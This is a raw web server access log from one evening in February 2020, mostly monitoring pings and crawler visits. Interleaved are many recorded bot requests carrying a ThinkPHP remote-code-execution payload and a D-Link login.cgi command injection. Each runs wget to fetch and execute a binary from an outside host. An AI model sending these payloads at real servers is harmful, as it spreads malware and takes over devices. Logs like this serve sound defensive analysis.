46.119.171.190 - - [02/Feb/2020:20:53:28 +0100] "GET / HTTP/1.1" 200 1229 "https://ligastavok-in.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; FDM)"
46.119.171.190 - - [02/Feb/2020:20:53:28 +0100] "GET / HTTP/1.1" 200 1229 "https://ligastavok-in.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; FDM)"
46.119.171.190 - - [02/Feb/2020:20:53:28 +0100] "GET / HTTP/1.1" 200 1229 "https://ligastavok-in.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; FDM)"
212.91.246.72 - - [02/Feb/2020:20:54:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.73.215.171 - - [02/Feb/2020:20:55:11 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [02/Feb/2020:20:55:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:56:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:20:57:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.70.144 - - [02/Feb/2020:20:58:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:20:58:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.148.18 - - [02/Feb/2020:20:58:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:20:59:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.21.46.176 - - [02/Feb/2020:20:59:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://packetsbins.000webhostapp.com/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:21:00:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.187.75.223 - - [02/Feb/2020:21:00:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:21:01:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:02:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:03:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.242.34 - - [02/Feb/2020:21:03:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:21:04:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.68.14 - - [02/Feb/2020:21:04:39 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.68.16 - - [02/Feb/2020:21:04:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [02/Feb/2020:21:05:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:06:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:07:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:09:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.24.175 - - [02/Feb/2020:21:09:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.235.146.76 - - [02/Feb/2020:21:09:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:21:10:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:11:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:12:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.81.180 - - [02/Feb/2020:21:12:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.229.29 - - [02/Feb/2020:21:12:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.224.172 - - [02/Feb/2020:21:12:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:21:13:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.242.27.220 - - [02/Feb/2020:21:13:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:21:14:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.73.215.171 - - [02/Feb/2020:21:15:13 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [02/Feb/2020:21:15:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.101.160 - - [02/Feb/2020:21:15:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:21:16:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:17:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:18:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.196.81 - - [02/Feb/2020:21:18:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.61.16 - - [02/Feb/2020:21:19:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:21:19:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.242.215.168 - - [02/Feb/2020:21:19:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [02/Feb/2020:21:20:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.252.126 - - [02/Feb/2020:21:21:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:21:21:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:22:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:23:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.81.180 - - [02/Feb/2020:21:23:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:21:24:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.86.127 - - [02/Feb/2020:21:24:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
199.212.57.158 - - [02/Feb/2020:21:24:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible MSIE 6.00 Windows NT 5.1 SV1)"
212.91.246.72 - - [02/Feb/2020:21:25:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.191.134.206 - - [02/Feb/2020:21:26:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:21:26:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.67.223.221 - - [02/Feb/2020:21:27:00 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:21:27:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.154.217 - - [02/Feb/2020:21:28:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:21:28:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:29:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:30:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.118.205.179 - - [02/Feb/2020:21:31:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:21:31:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:32:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.12.213.194 - - [02/Feb/2020:21:33:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.107.175 - - [02/Feb/2020:21:33:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:21:33:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.51.26.216 - - [02/Feb/2020:21:34:05 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.26.216 - - [02/Feb/2020:21:34:05 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.26.216 - - [02/Feb/2020:21:34:05 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.26.216 - - [02/Feb/2020:21:34:06 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.26.216 - - [02/Feb/2020:21:34:06 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.26.216 - - [02/Feb/2020:21:34:07 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.26.216 - - [02/Feb/2020:21:34:07 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.26.216 - - [02/Feb/2020:21:34:08 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.26.216 - - [02/Feb/2020:21:34:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
42.117.178.179 - - [02/Feb/2020:21:34:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:21:34:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:35:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:36:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:37:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.97.81 - - [02/Feb/2020:21:37:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:21:38:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:39:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:40:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.31.219 - - [02/Feb/2020:21:40:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:21:41:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:42:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:43:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:44:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.43.42.213 - - [02/Feb/2020:21:44:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
182.167.238.237 - - [02/Feb/2020:21:44:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:21:45:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.70.122 - - [02/Feb/2020:21:45:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
83.135.67.68 - - [02/Feb/2020:21:45:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.143.220.189 - - [02/Feb/2020:21:46:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [02/Feb/2020:21:46:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [02/Feb/2020:21:47:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [02/Feb/2020:21:47:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.73.215.171 - - [02/Feb/2020:21:47:53 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
45.143.220.189 - - [02/Feb/2020:21:48:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [02/Feb/2020:21:48:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.236.76.95 - - [02/Feb/2020:21:48:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:21:49:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:50:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:51:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.100.237.242 - - [02/Feb/2020:21:52:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:21:52:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [02/Feb/2020:21:52:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [02/Feb/2020:21:53:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.254.101 - - [02/Feb/2020:21:53:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
179.99.91.144 - - [02/Feb/2020:21:53:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
95.58.245.64 - - [02/Feb/2020:21:54:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:21:54:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.104.91.160 - - [02/Feb/2020:21:54:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:21:55:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:56:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.135.133.131 - - [02/Feb/2020:21:57:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.143.220.189 - - [02/Feb/2020:21:57:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [02/Feb/2020:21:57:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:58:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:21:59:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:00:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [02/Feb/2020:22:01:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
